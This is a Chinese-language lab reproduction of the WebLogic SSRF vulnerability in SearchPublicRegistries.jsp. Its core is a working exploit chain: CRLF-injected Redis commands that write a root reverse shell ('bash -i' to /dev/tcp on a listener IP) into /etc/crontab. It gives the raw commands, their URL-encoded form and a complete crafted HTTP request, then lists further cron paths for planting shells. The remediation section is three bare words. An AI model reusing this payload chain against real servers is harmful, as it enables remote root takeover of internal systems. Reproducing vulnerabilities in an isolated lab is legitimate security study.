1.1漏洞描述
漏洞名称 | Weblogic SSRF漏洞 |
漏洞类型 | 服务端请求伪造 |
漏洞等级 | ⭐⭐⭐⭐⭐ |
漏洞环境 | docker |
攻击方式 |
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
1.2漏洞等级
高危
1.3影响版本
Weblogic
1.4漏洞复现
1.4.1.基础环境
靶场 | docker |
工具 | BurpSuite |
1.4.2.前提
-
网站后台地址:/console/login/LoginForm.jsp
-
后台管理账密:
-
后台登录地址 :
1.5深度利用
1.5.1注入点
/uddiexplorer/SearchPublicRegistries.jsp,
1.用burp抓包
可访问的端口将会得到错误,一般是返回status code(如下图)。
访问的端口不开放则会出现“not connect over”内容提示
2.注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),
查看redis服务器
docker ps
sudo docker exec -it 98d89f88fb0c /bin/bash
发现172.18.0.2:6379
可以连通
发送三条redis命令,将弹shell脚本写入/etc/crontab
:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/10.9.47.79/1919 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
将这三条命令进行URL编码
%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%39%2e%34%37%2e%37%39%2f%31%39%31%39%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65%0d%0a%0d
将url编码后的字符串放在ssrf的域名后面,发送:
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.25.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.47.79%2F1919%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc HTTP/1.1
Host: 10.9.47.79:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: */*
反弹成功
最后补充一下,可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
1.6漏洞挖掘
1.6.1指纹信息
1.7修复建议
-
升级
-
打补丁
-
上设备